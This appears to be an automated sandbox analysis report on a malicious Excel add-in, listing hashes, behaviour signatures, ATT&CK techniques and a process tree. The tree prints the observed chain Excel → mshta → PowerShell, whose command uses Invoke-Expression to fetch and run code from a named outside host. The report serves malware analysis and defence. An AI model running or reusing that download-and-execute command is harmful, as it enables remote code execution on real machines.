Analysis

  • max time kernel
    100s
  • max time network
    125s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 20:38

General

  • Target

    87210259d05c234a592d57823289eae8708a623366fe5ccac5898c9c6eec66c0.xll

  • Size

    12KB

  • MD5

    e96dea05458152839033273b73fbde3c

  • SHA1

    39e9fbe3ec6019fe1c5d750ded2caf77675c2184

  • SHA256

    87210259d05c234a592d57823289eae8708a623366fe5ccac5898c9c6eec66c0

  • SHA512

    de873c970d23e5168d172d9da0aa2284dfd276e4e868607a8ae5c3b81ee137a895feb767f2815c6cb1e8e31fd1469eb87cf29f804957ccdee5f6b1c5607dc08b

  • SSDEEP

    192:gL29RBzDzeobchBj8JON8ONwCFru2rEPEjr7AhP:O29jnbcvYJOp5u2vr7CP

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\87210259d05c234a592d57823289eae8708a623366fe5ccac5898c9c6eec66c0.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1368

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PRZ6L9YH\d[1].htm
    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\87210259d05c234a592d57823289eae8708a623366fe5ccac5898c9c6eec66c0.xll
    Filesize

    12KB

    MD5

    e96dea05458152839033273b73fbde3c

    SHA1

    39e9fbe3ec6019fe1c5d750ded2caf77675c2184

    SHA256

    87210259d05c234a592d57823289eae8708a623366fe5ccac5898c9c6eec66c0

    SHA512

    de873c970d23e5168d172d9da0aa2284dfd276e4e868607a8ae5c3b81ee137a895feb767f2815c6cb1e8e31fd1469eb87cf29f804957ccdee5f6b1c5607dc08b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gh4knv0l.oss.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1368-59-0x0000000005F10000-0x0000000005F5C000-memory.dmp
    Filesize

    304KB

  • memory/1368-58-0x0000000005EF0000-0x0000000005F0E000-memory.dmp
    Filesize

    120KB

  • memory/1368-57-0x0000000005B10000-0x0000000005E67000-memory.dmp
    Filesize

    3.3MB

  • memory/1368-60-0x0000000007750000-0x0000000007DCA000-memory.dmp
    Filesize

    6.5MB

  • memory/1368-48-0x00000000059C0000-0x0000000005A26000-memory.dmp
    Filesize

    408KB

  • memory/1368-47-0x0000000005950000-0x00000000059B6000-memory.dmp
    Filesize

    408KB

  • memory/1368-46-0x0000000005150000-0x0000000005172000-memory.dmp
    Filesize

    136KB

  • memory/1368-45-0x0000000005320000-0x000000000594A000-memory.dmp
    Filesize

    6.2MB

  • memory/1368-44-0x0000000002A00000-0x0000000002A36000-memory.dmp
    Filesize

    216KB

  • memory/1368-61-0x00000000063F0000-0x000000000640A000-memory.dmp
    Filesize

    104KB

  • memory/1816-11-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-9-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-17-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-19-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-20-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-18-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-16-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-15-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-13-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-12-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-10-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-0-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-8-0x00007FFEB8B20000-0x00007FFEB8B30000-memory.dmp
    Filesize

    64KB

  • memory/1816-14-0x00007FFEB8B20000-0x00007FFEB8B30000-memory.dmp
    Filesize

    64KB

  • memory/1816-7-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-6-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-5-0x00007FFEFB263000-0x00007FFEFB264000-memory.dmp
    Filesize

    4KB

  • memory/1816-4-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-3-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-1-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-2-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-65-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB

  • memory/1816-81-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-82-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-84-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-83-0x00007FFEBB250000-0x00007FFEBB260000-memory.dmp
    Filesize

    64KB

  • memory/1816-85-0x00007FFEFB1C0000-0x00007FFEFB3C9000-memory.dmp
    Filesize

    2.0MB